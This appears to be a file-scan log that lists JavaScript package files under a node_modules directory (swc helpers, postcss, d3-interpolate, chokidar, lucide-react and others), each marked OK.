+/scan/node_modules/@swc/helpers/_/_check_private_redeclaration/package.json: OK
+/scan/node_modules/@swc/helpers/_/_dispose/package.json: OK
+/scan/node_modules/@swc/helpers/_/_interop_require_wildcard/package.json: OK
+/scan/node_modules/@swc/helpers/_/_using_ctx/package.json: OK
+/scan/node_modules/@swc/helpers/_/_export_star/package.json: OK
+/scan/node_modules/@swc/helpers/_/_call_super/package.json: OK
+/scan/node_modules/@swc/helpers/_/_set_prototype_of/package.json: OK
+/scan/node_modules/@swc/helpers/_/_iterable_to_array_limit_loose/package.json: OK
+/scan/node_modules/@swc/helpers/_/_wrap_async_generator/package.json: OK
+/scan/node_modules/@swc/helpers/_/_to_primitive/package.json: OK
+/scan/node_modules/@swc/helpers/_/_class_private_field_init/package.json: OK
+/scan/node_modules/@swc/helpers/_/_class_private_field_loose_key/package.json: OK
+/scan/node_modules/@swc/helpers/_/_ts_decorate/package.json: OK
+/scan/node_modules/@swc/helpers/_/_get_prototype_of/package.json: OK
+/scan/node_modules/@swc/helpers/_/_sliced_to_array/package.json: OK
+/scan/node_modules/@swc/helpers/_/_class_private_field_get/package.json: OK
+/scan/node_modules/@swc/helpers/_/_ts_metadata/package.json: OK
+/scan/node_modules/@swc/helpers/_/_apply_decs_2203_r/package.json: OK
+/scan/node_modules/@swc/helpers/_/_decorate/package.json: OK
+/scan/node_modules/@swc/helpers/_/_create_for_of_iterator_helper_loose/package.json: OK
+/scan/node_modules/@swc/helpers/_/_class_static_private_method_get/package.json: OK
+/scan/node_modules/@swc/helpers/_/_class_private_method_set/package.json: OK
+/scan/node_modules/@swc/helpers/_/_class_static_private_field_spec_get/package.json: OK
+/scan/node_modules/@swc/helpers/_/_iterable_to_array_limit/package.json: OK
+/scan/node_modules/@swc/helpers/_/_object_destructuring_empty/package.json: OK
+/scan/node_modules/@swc/helpers/_/_ts_dispose_resources/package.json: OK
+/scan/node_modules/@swc/helpers/_/_object_spread/package.json: OK
+/scan/node_modules/@swc/helpers/_/_interop_require_default/package.json: OK
+/scan/node_modules/@swc/helpers/_/_initializer_warning_helper/package.json: OK
+/scan/node_modules/@swc/helpers/_/_get/package.json: OK
+/scan/node_modules/@swc/helpers/_/_is_native_function/package.json: OK
+/scan/node_modules/@swc/helpers/_/index/package.json: OK
+/scan/node_modules/@swc/helpers/_/_to_consumable_array/package.json: OK
+/scan/node_modules/@swc/helpers/_/_to_property_key/package.json: OK
+/scan/node_modules/@swc/helpers/_/_overload_yield/package.json: OK
+/scan/node_modules/@swc/helpers/_/_wrap_native_super/package.json: OK
+/scan/node_modules/@swc/helpers/_/_apply_decorated_descriptor/package.json: OK
+/scan/node_modules/@swc/helpers/_/_super_prop_base/package.json: OK
+/scan/node_modules/@swc/helpers/_/_async_generator/package.json: OK
+/scan/node_modules/@swc/helpers/_/_define_enumerable_properties/package.json: OK
+/scan/node_modules/@swc/helpers/_/_class_static_private_field_update/package.json: OK
+/scan/node_modules/@swc/helpers/_/_skip_first_generator_next/package.json: OK
+/scan/node_modules/@swc/helpers/_/_await_async_generator/package.json: OK
+/scan/node_modules/@swc/helpers/_/_ts_add_disposable_resource/package.json: OK
+/scan/node_modules/@swc/helpers/_/_tagged_template_literal/package.json: OK
+/scan/node_modules/@swc/helpers/_/_inherits_loose/package.json: OK
+/scan/node_modules/@swc/helpers/_/_ts_rewrite_relative_import_extension/package.json: OK
+/scan/node_modules/@swc/helpers/_/_class_check_private_static_access/package.json: OK
+/scan/node_modules/@swc/helpers/_/_object_spread_props/package.json: OK
+/scan/node_modules/@swc/helpers/_/_throw/package.json: OK
+/scan/node_modules/@swc/helpers/_/_defaults/package.json: OK
+/scan/node_modules/@swc/helpers/_/_object_without_properties_loose/package.json: OK
+/scan/node_modules/@swc/helpers/_/_define_property/package.json: OK
+/scan/node_modules/@swc/helpers/_/_class_extract_field_descriptor/package.json: OK
+/scan/node_modules/@swc/helpers/_/_sliced_to_array_loose/package.json: OK
+/scan/node_modules/@swc/helpers/_/_async_generator_delegate/package.json: OK
+/scan/node_modules/@swc/helpers/_/_extends/package.json: OK
+/scan/node_modules/@swc/helpers/_/_assert_this_initialized/package.json: OK
+/scan/node_modules/@swc/helpers/_/_class_private_field_update/package.json: OK
+/scan/node_modules/@swc/helpers/_/_class_apply_descriptor_set/package.json: OK
+/scan/node_modules/@swc/helpers/_/_await_value/package.json: OK
+/scan/node_modules/@swc/helpers/_/_type_of/package.json: OK
+/scan/node_modules/@swc/helpers/_/_is_native_reflect_construct/package.json: OK
+/scan/node_modules/@swc/helpers/_/_update/package.json: OK
+/scan/node_modules/@swc/helpers/_/_array_like_to_array/package.json: OK
+/scan/node_modules/@swc/helpers/package.json: OK
+/scan/node_modules/@swc/helpers/scripts/ast_grep.js: OK
+/scan/node_modules/@swc/helpers/scripts/build.js: OK
+/scan/node_modules/@swc/helpers/scripts/errors.js: OK
+/scan/node_modules/@swc/helpers/scripts/utils.js: OK
+/scan/node_modules/@swc/helpers/src/_class_static_private_field_spec_set.mjs: OK
+/scan/node_modules/@swc/helpers/src/_class_private_method_get.mjs: OK
+/scan/node_modules/@swc/helpers/src/_defaults.mjs: OK
+/scan/node_modules/@swc/helpers/src/_class_private_field_get.mjs: OK
+/scan/node_modules/@swc/helpers/src/_ts_generator.mjs: OK
+/scan/node_modules/@swc/helpers/src/_interop_require_default.mjs: OK
+/scan/node_modules/@swc/helpers/src/_type_of.mjs: OK
+/scan/node_modules/@swc/helpers/src/_class_private_field_init.mjs: OK
+/scan/node_modules/@swc/helpers/src/_class_call_check.mjs: OK
+/scan/node_modules/@swc/helpers/src/_class_extract_field_descriptor.mjs: OK
+/scan/node_modules/@swc/helpers/src/_class_static_private_field_update.mjs: OK
+/scan/node_modules/@swc/helpers/src/_ts_values.mjs: OK
+/scan/node_modules/@swc/helpers/src/_wrap_async_generator.mjs: OK
+/scan/node_modules/@swc/helpers/src/_using_ctx.mjs: OK
+/scan/node_modules/@swc/helpers/src/_class_check_private_static_field_descriptor.mjs: OK
+/scan/node_modules/@swc/helpers/src/_decorate.mjs: OK
+/scan/node_modules/@swc/helpers/src/_iterable_to_array_limit.mjs: OK
+/scan/node_modules/@swc/helpers/src/_throw.mjs: OK
+/scan/node_modules/@swc/helpers/src/_class_apply_descriptor_set.mjs: OK
+/scan/node_modules/@swc/helpers/src/_initializer_warning_helper.mjs: OK
+/scan/node_modules/@swc/helpers/src/_array_like_to_array.mjs: OK
+/scan/node_modules/@swc/helpers/src/_class_private_field_update.mjs: OK
+/scan/node_modules/@swc/helpers/src/_ts_param.mjs: OK
+/scan/node_modules/@swc/helpers/src/_get_prototype_of.mjs: OK
+/scan/node_modules/@swc/helpers/src/_get.mjs: OK
+/scan/node_modules/@swc/helpers/src/_await_async_generator.mjs: OK
+/scan/node_modules/@swc/helpers/src/_async_generator_delegate.mjs: OK
+/scan/node_modules/@swc/helpers/src/_interop_require_wildcard.mjs: OK
+/scan/node_modules/@swc/helpers/src/_to_property_key.mjs: OK
+/scan/node_modules/@swc/helpers/src/_super_prop_base.mjs: OK
+/scan/node_modules/@swc/helpers/src/_array_with_holes.mjs: OK
+/scan/node_modules/@swc/helpers/src/_class_private_method_init.mjs: OK
+/scan/node_modules/@swc/helpers/src/_check_private_redeclaration.mjs: OK
+/scan/node_modules/@swc/helpers/src/_class_private_field_destructure.mjs: OK
+/scan/node_modules/@swc/helpers/src/_construct.mjs: OK
+/scan/node_modules/@swc/helpers/src/_apply_decs_2311.mjs: OK
+/scan/node_modules/@swc/helpers/src/_ts_decorate.mjs: OK
+/scan/node_modules/@swc/helpers/src/_array_without_holes.mjs: OK
+/scan/node_modules/@swc/helpers/src/_unsupported_iterable_to_array.mjs: OK
+/scan/node_modules/@swc/helpers/src/_async_to_generator.mjs: OK
+/scan/node_modules/@swc/helpers/src/_class_apply_descriptor_destructure.mjs: OK
+/scan/node_modules/@swc/helpers/src/_await_value.mjs: OK
+/scan/node_modules/@swc/helpers/src/_to_consumable_array.mjs: OK
+/scan/node_modules/@swc/helpers/src/_tagged_template_literal.mjs: OK
+/scan/node_modules/@swc/helpers/src/_non_iterable_rest.mjs: OK
+/scan/node_modules/@swc/helpers/src/_object_spread.mjs: OK
+/scan/node_modules/@swc/helpers/src/_set_prototype_of.mjs: OK
+/scan/node_modules/@swc/helpers/src/_skip_first_generator_next.mjs: OK
+/scan/node_modules/@swc/helpers/src/_export_star.mjs: OK
+/scan/node_modules/@swc/helpers/src/_identity.mjs: OK
+/scan/node_modules/@swc/helpers/src/_class_static_private_method_get.mjs: OK
+/scan/node_modules/@swc/helpers/src/_assert_this_initialized.mjs: OK
+/scan/node_modules/@swc/helpers/src/_async_iterator.mjs: OK
+/scan/node_modules/@swc/helpers/src/_class_apply_descriptor_get.mjs: OK
+/scan/node_modules/@swc/helpers/src/_inherits.mjs: OK
+/scan/node_modules/@swc/helpers/src/_is_native_function.mjs: OK
+/scan/node_modules/@swc/helpers/src/_overload_yield.mjs: OK
+/scan/node_modules/@swc/helpers/src/_create_class.mjs: OK
+/scan/node_modules/@swc/helpers/src/_possible_constructor_return.mjs: OK
+/scan/node_modules/@swc/helpers/src/_ts_add_disposable_resource.mjs: OK
+/scan/node_modules/@swc/helpers/src/_create_for_of_iterator_helper_loose.mjs: OK
+/scan/node_modules/@swc/helpers/src/_apply_decorated_descriptor.mjs: OK
+/scan/node_modules/@swc/helpers/src/_to_primitive.mjs: OK
+/scan/node_modules/@swc/helpers/src/_async_generator.mjs: OK
+/scan/node_modules/@swc/helpers/src/_update.mjs: OK
+/scan/node_modules/@swc/helpers/src/_define_enumerable_properties.mjs: OK
+/scan/node_modules/@swc/helpers/src/_instanceof.mjs: OK
+/scan/node_modules/@swc/helpers/src/_object_destructuring_empty.mjs: OK
+/scan/node_modules/@swc/helpers/src/_inherits_loose.mjs: OK
+/scan/node_modules/@swc/helpers/src/_object_spread_props.mjs: OK
+/scan/node_modules/@swc/helpers/src/_class_private_method_set.mjs: OK
+/scan/node_modules/@swc/helpers/src/index.mjs: OK
+/scan/node_modules/@swc/helpers/src/_class_static_private_field_spec_get.mjs: OK
+/scan/node_modules/@swc/helpers/src/_is_native_reflect_construct.mjs: OK
+/scan/node_modules/@swc/helpers/src/_ts_rewrite_relative_import_extension.mjs: OK
+/scan/node_modules/@swc/helpers/src/_using.mjs: OK
+/scan/node_modules/@swc/helpers/src/_object_without_properties.mjs: OK
+/scan/node_modules/@swc/helpers/src/_iterable_to_array.mjs: OK
+/scan/node_modules/@swc/helpers/src/_class_private_field_set.mjs: OK
+/scan/node_modules/@swc/helpers/src/_non_iterable_spread.mjs: OK
+/scan/node_modules/@swc/helpers/src/_class_name_tdz_error.mjs: OK
+/scan/node_modules/@swc/helpers/src/_iterable_to_array_limit_loose.mjs: OK
+/scan/node_modules/@swc/helpers/src/_wrap_reg_exp.mjs: OK
+/scan/node_modules/@swc/helpers/src/_object_without_properties_loose.mjs: OK
+/scan/node_modules/@swc/helpers/src/_apply_decs_2203_r.mjs: OK
+/scan/node_modules/@swc/helpers/src/_class_apply_descriptor_update.mjs: OK
+/scan/node_modules/@swc/helpers/src/_create_super.mjs: OK
+/scan/node_modules/@swc/helpers/src/_tagged_template_literal_loose.mjs: OK
+/scan/node_modules/@swc/helpers/src/_class_static_private_field_destructure.mjs: OK
+/scan/node_modules/@swc/helpers/src/_read_only_error.mjs: OK
+/scan/node_modules/@swc/helpers/src/_extends.mjs: OK
+/scan/node_modules/@swc/helpers/src/_class_check_private_static_access.mjs: OK
+/scan/node_modules/@swc/helpers/src/_new_arrow_check.mjs: OK
+/scan/node_modules/@swc/helpers/src/_initializer_define_property.mjs: OK
+/scan/node_modules/@swc/helpers/src/_define_property.mjs: OK
+/scan/node_modules/@swc/helpers/src/_ts_dispose_resources.mjs: OK
+/scan/node_modules/@swc/helpers/src/_sliced_to_array_loose.mjs: OK
+/scan/node_modules/@swc/helpers/src/_call_super.mjs: OK
+/scan/node_modules/@swc/helpers/src/_jsx.mjs: OK
+/scan/node_modules/@swc/helpers/src/_to_array.mjs: OK
+/scan/node_modules/@swc/helpers/src/_ts_metadata.mjs: OK
+/scan/node_modules/@swc/helpers/src/_class_private_field_loose_base.mjs: OK
+/scan/node_modules/@swc/helpers/src/_class_private_field_loose_key.mjs: OK
+/scan/node_modules/@swc/helpers/src/_sliced_to_array.mjs: OK
+/scan/node_modules/@swc/helpers/src/_dispose.mjs: OK
+/scan/node_modules/@swc/helpers/src/_wrap_native_super.mjs: OK
+/scan/node_modules/@swc/helpers/src/_write_only_error.mjs: OK
+/scan/node_modules/@swc/helpers/src/_set.mjs: OK
+/scan/node_modules/@swc/helpers/cjs/_type_of.cjs: OK
+/scan/node_modules/@swc/helpers/cjs/_interop_require_default.cjs: OK
+/scan/node_modules/@swc/helpers/cjs/_class_private_field_get.cjs: OK
+/scan/node_modules/@swc/helpers/cjs/_ts_generator.cjs: OK
+/scan/node_modules/@swc/helpers/cjs/_class_static_private_field_spec_set.cjs: OK
+/scan/node_modules/@swc/helpers/cjs/_defaults.cjs: OK
+/scan/node_modules/@swc/helpers/cjs/_class_private_method_get.cjs: OK
+/scan/node_modules/@swc/helpers/cjs/_class_check_private_static_field_descriptor.cjs: OK
+/scan/node_modules/@swc/helpers/cjs/_throw.cjs: OK
+/scan/node_modules/@swc/helpers/cjs/_iterable_to_array_limit.cjs: OK
+/scan/node_modules/@swc/helpers/cjs/_decorate.cjs: OK
+/scan/node_modules/@swc/helpers/cjs/_initializer_warning_helper.cjs: OK
+/scan/node_modules/@swc/helpers/cjs/_class_apply_descriptor_set.cjs: OK
+/scan/node_modules/@swc/helpers/cjs/_ts_values.cjs: OK
+/scan/node_modules/@swc/helpers/cjs/_using_ctx.cjs: OK
+/scan/node_modules/@swc/helpers/cjs/_wrap_async_generator.cjs: OK
+/scan/node_modules/@swc/helpers/cjs/_class_static_private_field_update.cjs: OK
+/scan/node_modules/@swc/helpers/cjs/_class_private_field_init.cjs: OK
+/scan/node_modules/@swc/helpers/cjs/_class_call_check.cjs: OK
+/scan/node_modules/@swc/helpers/cjs/_class_extract_field_descriptor.cjs: OK
+/scan/node_modules/@swc/helpers/cjs/_class_private_method_init.cjs: OK
+/scan/node_modules/@swc/helpers/cjs/_check_private_redeclaration.cjs: OK
+/scan/node_modules/@swc/helpers/cjs/_construct.cjs: OK
+/scan/node_modules/@swc/helpers/cjs/_class_private_field_destructure.cjs: OK
+/scan/node_modules/@swc/helpers/cjs/_apply_decs_2311.cjs: OK
+/scan/node_modules/@swc/helpers/cjs/_async_generator_delegate.cjs: OK
+/scan/node_modules/@swc/helpers/cjs/_to_property_key.cjs: OK
+/scan/node_modules/@swc/helpers/cjs/_interop_require_wildcard.cjs: OK
+/scan/node_modules/@swc/helpers/cjs/_super_prop_base.cjs: OK
+/scan/node_modules/@swc/helpers/cjs/_array_with_holes.cjs: OK
+/scan/node_modules/@swc/helpers/cjs/_get.cjs: OK
+/scan/node_modules/@swc/helpers/cjs/_await_async_generator.cjs: OK
+/scan/node_modules/@swc/helpers/cjs/_class_private_field_update.cjs: OK
+/scan/node_modules/@swc/helpers/cjs/_array_like_to_array.cjs: OK
+/scan/node_modules/@swc/helpers/cjs/_ts_param.cjs: OK
+/scan/node_modules/@swc/helpers/cjs/_get_prototype_of.cjs: OK
+/scan/node_modules/@swc/helpers/cjs/_skip_first_generator_next.cjs: OK
+/scan/node_modules/@swc/helpers/cjs/_set_prototype_of.cjs: OK
+/scan/node_modules/@swc/helpers/cjs/_identity.cjs: OK
+/scan/node_modules/@swc/helpers/cjs/_export_star.cjs: OK
+/scan/node_modules/@swc/helpers/cjs/_non_iterable_rest.cjs: OK
+/scan/node_modules/@swc/helpers/cjs/_object_spread.cjs: OK
+/scan/node_modules/@swc/helpers/cjs/_class_apply_descriptor_destructure.cjs: OK
+/scan/node_modules/@swc/helpers/cjs/_await_value.cjs: OK
+/scan/node_modules/@swc/helpers/cjs/_tagged_template_literal.cjs: OK
+/scan/node_modules/@swc/helpers/cjs/_to_consumable_array.cjs: OK
+/scan/node_modules/@swc/helpers/cjs/_ts_decorate.cjs: OK
+/scan/node_modules/@swc/helpers/cjs/_array_without_holes.cjs: OK
+/scan/node_modules/@swc/helpers/cjs/_unsupported_iterable_to_array.cjs: OK
+/scan/node_modules/@swc/helpers/cjs/_async_to_generator.cjs: OK
+/scan/node_modules/@swc/helpers/cjs/_to_primitive.cjs: OK
+/scan/node_modules/@swc/helpers/cjs/_async_generator.cjs: OK
+/scan/node_modules/@swc/helpers/cjs/_update.cjs: OK
+/scan/node_modules/@swc/helpers/cjs/_create_for_of_iterator_helper_loose.cjs: OK
+/scan/node_modules/@swc/helpers/cjs/_ts_add_disposable_resource.cjs: OK
+/scan/node_modules/@swc/helpers/cjs/_apply_decorated_descriptor.cjs: OK
+/scan/node_modules/@swc/helpers/cjs/_async_iterator.cjs: OK
+/scan/node_modules/@swc/helpers/cjs/_class_apply_descriptor_get.cjs: OK
+/scan/node_modules/@swc/helpers/cjs/_inherits.cjs: OK
+/scan/node_modules/@swc/helpers/cjs/_is_native_function.cjs: OK
+/scan/node_modules/@swc/helpers/cjs/_overload_yield.cjs: OK
+/scan/node_modules/@swc/helpers/cjs/_possible_constructor_return.cjs: OK
+/scan/node_modules/@swc/helpers/cjs/_create_class.cjs: OK
+/scan/node_modules/@swc/helpers/cjs/_class_static_private_method_get.cjs: OK
+/scan/node_modules/@swc/helpers/cjs/_assert_this_initialized.cjs: OK
+/scan/node_modules/@swc/helpers/cjs/_is_native_reflect_construct.cjs: OK
+/scan/node_modules/@swc/helpers/cjs/_using.cjs: OK
+/scan/node_modules/@swc/helpers/cjs/_ts_rewrite_relative_import_extension.cjs: OK
+/scan/node_modules/@swc/helpers/cjs/_object_without_properties.cjs: OK
+/scan/node_modules/@swc/helpers/cjs/_iterable_to_array.cjs: OK
+/scan/node_modules/@swc/helpers/cjs/_non_iterable_spread.cjs: OK
+/scan/node_modules/@swc/helpers/cjs/_class_private_field_set.cjs: OK
+/scan/node_modules/@swc/helpers/cjs/_class_private_method_set.cjs: OK
+/scan/node_modules/@swc/helpers/cjs/index.cjs: OK
+/scan/node_modules/@swc/helpers/cjs/_class_static_private_field_spec_get.cjs: OK
+/scan/node_modules/@swc/helpers/cjs/_object_destructuring_empty.cjs: OK
+/scan/node_modules/@swc/helpers/cjs/_inherits_loose.cjs: OK
+/scan/node_modules/@swc/helpers/cjs/_object_spread_props.cjs: OK
+/scan/node_modules/@swc/helpers/cjs/_define_enumerable_properties.cjs: OK
+/scan/node_modules/@swc/helpers/cjs/_instanceof.cjs: OK
+/scan/node_modules/@swc/helpers/cjs/_extends.cjs: OK
+/scan/node_modules/@swc/helpers/cjs/_class_check_private_static_access.cjs: OK
+/scan/node_modules/@swc/helpers/cjs/_new_arrow_check.cjs: OK
+/scan/node_modules/@swc/helpers/cjs/_class_static_private_field_destructure.cjs: OK
+/scan/node_modules/@swc/helpers/cjs/_read_only_error.cjs: OK
+/scan/node_modules/@swc/helpers/cjs/_object_without_properties_loose.cjs: OK
+/scan/node_modules/@swc/helpers/cjs/_apply_decs_2203_r.cjs: OK
+/scan/node_modules/@swc/helpers/cjs/_class_apply_descriptor_update.cjs: OK
+/scan/node_modules/@swc/helpers/cjs/_tagged_template_literal_loose.cjs: OK
+/scan/node_modules/@swc/helpers/cjs/_create_super.cjs: OK
+/scan/node_modules/@swc/helpers/cjs/_class_name_tdz_error.cjs: OK
+/scan/node_modules/@swc/helpers/cjs/_iterable_to_array_limit_loose.cjs: OK
+/scan/node_modules/@swc/helpers/cjs/_wrap_reg_exp.cjs: OK
+/scan/node_modules/@swc/helpers/cjs/_set.cjs: OK
+/scan/node_modules/@swc/helpers/cjs/_write_only_error.cjs: OK
+/scan/node_modules/@swc/helpers/cjs/_wrap_native_super.cjs: OK
+/scan/node_modules/@swc/helpers/cjs/_ts_metadata.cjs: OK
+/scan/node_modules/@swc/helpers/cjs/_class_private_field_loose_base.cjs: OK
+/scan/node_modules/@swc/helpers/cjs/_class_private_field_loose_key.cjs: OK
+/scan/node_modules/@swc/helpers/cjs/_sliced_to_array.cjs: OK
+/scan/node_modules/@swc/helpers/cjs/_dispose.cjs: OK
+/scan/node_modules/@swc/helpers/cjs/_ts_dispose_resources.cjs: OK
+/scan/node_modules/@swc/helpers/cjs/_sliced_to_array_loose.cjs: OK
+/scan/node_modules/@swc/helpers/cjs/_call_super.cjs: OK
+/scan/node_modules/@swc/helpers/cjs/_jsx.cjs: OK
+/scan/node_modules/@swc/helpers/cjs/_to_array.cjs: OK
+/scan/node_modules/@swc/helpers/cjs/_initializer_define_property.cjs: OK
+/scan/node_modules/@swc/helpers/cjs/_define_property.cjs: OK
+/scan/node_modules/d3-interpolate/LICENSE: OK
+/scan/node_modules/d3-interpolate/dist/d3-interpolate.js: OK
+/scan/node_modules/d3-interpolate/dist/d3-interpolate.min.js: OK
+/scan/node_modules/d3-interpolate/README.md: OK
+/scan/node_modules/d3-interpolate/package.json: OK
+/scan/node_modules/d3-interpolate/src/number.js: OK
+/scan/node_modules/d3-interpolate/src/discrete.js: OK
+/scan/node_modules/d3-interpolate/src/hsl.js: OK
+/scan/node_modules/d3-interpolate/src/basis.js: OK
+/scan/node_modules/d3-interpolate/src/object.js: OK
+/scan/node_modules/d3-interpolate/src/quantize.js: OK
+/scan/node_modules/d3-interpolate/src/index.js: OK
+/scan/node_modules/d3-interpolate/src/zoom.js: OK
+/scan/node_modules/d3-interpolate/src/color.js: OK
+/scan/node_modules/d3-interpolate/src/hcl.js: OK
+/scan/node_modules/d3-interpolate/src/array.js: OK
+/scan/node_modules/d3-interpolate/src/numberArray.js: OK
+/scan/node_modules/d3-interpolate/src/cubehelix.js: OK
+/scan/node_modules/d3-interpolate/src/string.js: OK
+/scan/node_modules/d3-interpolate/src/piecewise.js: OK
+/scan/node_modules/d3-interpolate/src/value.js: OK
+/scan/node_modules/d3-interpolate/src/constant.js: OK
+/scan/node_modules/d3-interpolate/src/lab.js: OK
+/scan/node_modules/d3-interpolate/src/date.js: OK
+/scan/node_modules/d3-interpolate/src/round.js: OK
+/scan/node_modules/d3-interpolate/src/hue.js: OK
+/scan/node_modules/d3-interpolate/src/transform/decompose.js: OK
+/scan/node_modules/d3-interpolate/src/transform/index.js: OK
+/scan/node_modules/d3-interpolate/src/transform/parse.js: OK
+/scan/node_modules/d3-interpolate/src/rgb.js: OK
+/scan/node_modules/d3-interpolate/src/basisClosed.js: OK
+/scan/node_modules/chokidar/types/index.d.ts: OK
+/scan/node_modules/chokidar/LICENSE: OK
+/scan/node_modules/chokidar/node_modules/glob-parent/LICENSE: OK
+/scan/node_modules/chokidar/node_modules/glob-parent/CHANGELOG.md: OK
+/scan/node_modules/chokidar/node_modules/glob-parent/index.js: OK
+/scan/node_modules/chokidar/node_modules/glob-parent/README.md: OK
+/scan/node_modules/chokidar/node_modules/glob-parent/package.json: OK
+/scan/node_modules/chokidar/index.js: OK
+/scan/node_modules/chokidar/README.md: OK
+/scan/node_modules/chokidar/package.json: OK
+/scan/node_modules/chokidar/lib/constants.js: OK
+/scan/node_modules/chokidar/lib/fsevents-handler.js: OK
+/scan/node_modules/chokidar/lib/nodefs-handler.js: OK
+/scan/node_modules/postcss/LICENSE: OK
+/scan/node_modules/postcss/README.md: OK
+/scan/node_modules/postcss/package.json: OK
+/scan/node_modules/postcss/lib/postcss.js: OK
+/scan/node_modules/postcss/lib/rule.d.ts: OK
+/scan/node_modules/postcss/lib/lazy-result.d.ts: OK
+/scan/node_modules/postcss/lib/stringifier.js: OK
+/scan/node_modules/postcss/lib/stringify.js: OK
+/scan/node_modules/postcss/lib/css-syntax-error.js: OK
+/scan/node_modules/postcss/lib/previous-map.d.ts: OK
+/scan/node_modules/postcss/lib/postcss.d.mts: OK
+/scan/node_modules/postcss/lib/result.d.ts: OK
+/scan/node_modules/postcss/lib/at-rule.js: OK
+/scan/node_modules/postcss/lib/declaration.js: OK
+/scan/node_modules/postcss/lib/parse.d.ts: OK
+/scan/node_modules/postcss/lib/warning.js: OK
+/scan/node_modules/postcss/lib/processor.js: OK
+/scan/node_modules/postcss/lib/previous-map.js: OK
+/scan/node_modules/postcss/lib/fromJSON.js: OK
+/scan/node_modules/postcss/lib/input.d.ts: OK
+/scan/node_modules/postcss/lib/at-rule.d.ts: OK
+/scan/node_modules/postcss/lib/stringifier.d.ts: OK
+/scan/node_modules/postcss/lib/map-generator.js: OK
+/scan/node_modules/postcss/lib/comment.d.ts: OK
+/scan/node_modules/postcss/lib/declaration.d.ts: OK
+/scan/node_modules/postcss/lib/processor.d.ts: OK
+/scan/node_modules/postcss/lib/list.js: OK
+/scan/node_modules/postcss/lib/warn-once.js: OK
+/scan/node_modules/postcss/lib/lazy-result.js: OK
+/scan/node_modules/postcss/lib/postcss.mjs: OK
+/scan/node_modules/postcss/lib/comment.js: OK
+/scan/node_modules/postcss/lib/postcss.d.ts: OK
+/scan/node_modules/postcss/lib/container.d.ts: OK
+/scan/node_modules/postcss/lib/stringify.d.ts: OK
+/scan/node_modules/postcss/lib/document.d.ts: OK
+/scan/node_modules/postcss/lib/node.js: OK
+/scan/node_modules/postcss/lib/parse.js: OK
+/scan/node_modules/postcss/lib/root.js: OK
+/scan/node_modules/postcss/lib/fromJSON.d.ts: OK
+/scan/node_modules/postcss/lib/list.d.ts: OK
+/scan/node_modules/postcss/lib/no-work-result.d.ts: OK
+/scan/node_modules/postcss/lib/tokenize.js: OK
+/scan/node_modules/postcss/lib/rule.js: OK
+/scan/node_modules/postcss/lib/css-syntax-error.d.ts: OK
+/scan/node_modules/postcss/lib/symbols.js: OK
+/scan/node_modules/postcss/lib/no-work-result.js: OK
+/scan/node_modules/postcss/lib/result.js: OK
+/scan/node_modules/postcss/lib/terminal-highlight.js: OK
+/scan/node_modules/postcss/lib/warning.d.ts: OK
+/scan/node_modules/postcss/lib/container.js: OK
+/scan/node_modules/postcss/lib/parser.js: OK
+/scan/node_modules/postcss/lib/node.d.ts: OK
+/scan/node_modules/postcss/lib/root.d.ts: OK
+/scan/node_modules/postcss/lib/input.js: OK
+/scan/node_modules/postcss/lib/document.js: OK
+/scan/node_modules/p-locate/license: OK
+/scan/node_modules/p-locate/index.js: OK
+/scan/node_modules/p-locate/readme.md: OK
+/scan/node_modules/p-locate/package.json: OK
+/scan/node_modules/p-locate/index.d.ts: OK
+/scan/node_modules/dom-serializer/LICENSE: OK
+/scan/node_modules/dom-serializer/README.md: OK
+/scan/node_modules/dom-serializer/package.json: OK
+/scan/node_modules/dom-serializer/lib/esm/foreignNames.d.ts: OK
+/scan/node_modules/dom-serializer/lib/esm/index.js: OK
+/scan/node_modules/dom-serializer/lib/esm/foreignNames.d.ts.map: OK
+/scan/node_modules/dom-serializer/lib/esm/package.json: OK
+/scan/node_modules/dom-serializer/lib/esm/index.d.ts: OK
+/scan/node_modules/dom-serializer/lib/esm/foreignNames.js: OK
+/scan/node_modules/dom-serializer/lib/esm/index.d.ts.map: OK
+/scan/node_modules/dom-serializer/lib/foreignNames.d.ts: OK
+/scan/node_modules/dom-serializer/lib/index.js: OK
+/scan/node_modules/dom-serializer/lib/foreignNames.d.ts.map: OK
+/scan/node_modules/dom-serializer/lib/index.d.ts: OK
+/scan/node_modules/dom-serializer/lib/foreignNames.js: OK
+/scan/node_modules/dom-serializer/lib/index.d.ts.map: OK
+/scan/node_modules/fresh/LICENSE: OK
+/scan/node_modules/fresh/HISTORY.md: OK
+/scan/node_modules/fresh/index.js: OK
+/scan/node_modules/fresh/README.md: OK
+/scan/node_modules/fresh/package.json: OK
+/scan/node_modules/@rollup/rollup-darwin-arm64/README.md: OK
+/scan/node_modules/@rollup/rollup-darwin-arm64/rollup.darwin-arm64.node: OK
+/scan/node_modules/@rollup/rollup-darwin-arm64/package.json: OK
+/scan/node_modules/get-intrinsic/LICENSE: OK
+/scan/node_modules/get-intrinsic/test/GetIntrinsic.js: OK
+/scan/node_modules/get-intrinsic/CHANGELOG.md: OK
+/scan/node_modules/get-intrinsic/.eslintrc: OK
+/scan/node_modules/get-intrinsic/index.js: OK
+/scan/node_modules/get-intrinsic/README.md: OK
+/scan/node_modules/get-intrinsic/package.json: OK
+/scan/node_modules/get-intrinsic/.github/FUNDING.yml: OK
+/scan/node_modules/get-intrinsic/.nycrc: OK
+/scan/node_modules/lucide-react/LICENSE: OK
+/scan/node_modules/lucide-react/dist/esm/createLucideIcon.js: OK
+/scan/node_modules/lucide-react/dist/esm/Icon.js: OK
+/scan/node_modules/lucide-react/dist/esm/shared/src/utils.js: OK
+/scan/node_modules/lucide-react/dist/esm/shared/src/utils.js.map: OK
+/scan/node_modules/lucide-react/dist/esm/Icon.js.map: OK
+/scan/node_modules/lucide-react/dist/esm/lucide-react.js: OK
+/scan/node_modules/lucide-react/dist/esm/icons/file-key-2.js: OK
+/scan/node_modules/lucide-react/dist/esm/icons/usb.js.map: OK
+/scan/node_modules/lucide-react/dist/esm/icons/ribbon.js: OK
+/scan/node_modules/lucide-react/dist/esm/icons/bird.js: OK
+/scan/node_modules/lucide-react/dist/esm/icons/table-properties.js.map: OK
+/scan/node_modules/lucide-react/dist/esm/icons/separator-vertical.js: OK
+/scan/node_modules/lucide-react/dist/esm/icons/axis-3-d.js: OK
+/scan/node_modules/lucide-react/dist/esm/icons/corner-right-up.js.map: OK
+/scan/node_modules/lucide-react/dist/esm/icons/ban.js.map: OK
+/scan/node_modules/lucide-react/dist/esm/icons/monitor-play.js.map: OK
+/scan/node_modules/lucide-react/dist/esm/icons/proportions.js.map: OK
+/scan/node_modules/lucide-react/dist/esm/icons/person-standing.js.map: OK
+/scan/node_modules/lucide-react/dist/esm/icons/parentheses.js.map: OK
